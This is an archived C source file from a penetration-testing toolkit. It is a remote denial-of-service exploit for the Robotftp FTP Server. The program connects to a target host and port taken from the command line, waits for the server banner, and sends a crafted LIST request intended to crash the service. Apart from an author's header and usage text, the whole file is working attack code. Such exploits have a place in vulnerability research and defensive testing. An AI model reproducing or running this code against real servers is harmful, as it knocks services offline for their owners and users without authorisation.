home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / roboftp / robo-dos.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  84 lines

  1. /****************************************************************************
  2.  *                                                                          *
  3.  * Remote DoS                                                               *
  4.  * Mirror at: http://norpius.altervista.org/robo.zip                        *
  5.  * I have done this only for my birthday :) - Robo-SOFT don't be angry :)   *
  6.  *                                                                          *
  7.  ***************************************************************************/
  8.  
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <string.h>
  12. #include <unistd.h>
  13. #ifdef WIN32
  14.     #include <winsock.h>
  15.     #include <windows.h>
  16.     #define close closesocket
  17. #else
  18.     #include <sys/socket.h>
  19.     #include <sys/types.h>
  20.     #include <arpa/inet.h>
  21.     #include <netdb.h>
  22. #endif
  23. #define DOSREQUEST "\x4C\x49\x53\x54\r\n"
  24.  
  25. void errore( char *err )
  26. {
  27.         printf("%s",err);
  28.         exit(1);
  29. }
  30.  
  31. void usage( char *progz )
  32. {
  33.         fputs("Robotftp FTP Server remote DoS\n"
  34.               "By NoRpiUs\n"
  35.               "Usage: <host> <port>\n", stdout);
  36.         exit(1);
  37. }
  38.  
  39. int main( int argc, char *argv[] )
  40. {
  41.         int sock;
  42.         struct hostent *he;
  43.         struct sockaddr_in target;
  44.         char recvbuff[512];
  45.  
  46. #ifdef WIN32
  47.     WSADATA wsadata;
  48.     WSAStartup(0x1, &wsadata);
  49. #endif
  50.  
  51.         if ( argc < 3 ) usage(argv[0]);
  52.  
  53.         if ( (he = gethostbyname(argv[1])) == NULL )
  54.                 errore("[-] Can't resolve host\n");
  55.  
  56.         target.sin_family = AF_INET;
  57.         target.sin_addr   = *(( struct in_addr *) he -> h_addr );
  58.         target.sin_port   = htons(atoi(argv[2]));
  59.  
  60.         fputs("[+] Connecting...\n", stdout);
  61.  
  62.         if ( (sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP )) < 0)
  63.                 errore("[-] Can't create socket\n");
  64.  
  65.         if ( connect(sock, (struct sockaddr *) &target, sizeof(target)) < 0 )
  66.                 errore("[-] Can't connect\n");
  67.  
  68.         if ( recv( sock, recvbuff, sizeof(recvbuff), 0) < 0 )
  69.                 errore("[-] Server seems to be down\n");
  70.  
  71.         fputs("[+] Sending DoS request\n", stdout);
  72.  
  73.         if ( send( sock, DOSREQUEST, strlen(DOSREQUEST), 0) < 0 )
  74.                 errore("[-] Cant' send the request\n");
  75.  
  76.         fputs("[+] Done\n", stdout);
  77.  
  78.         close(sock);
  79.  
  80.         return(0);
  81.  
  82. }
  83.  
  84.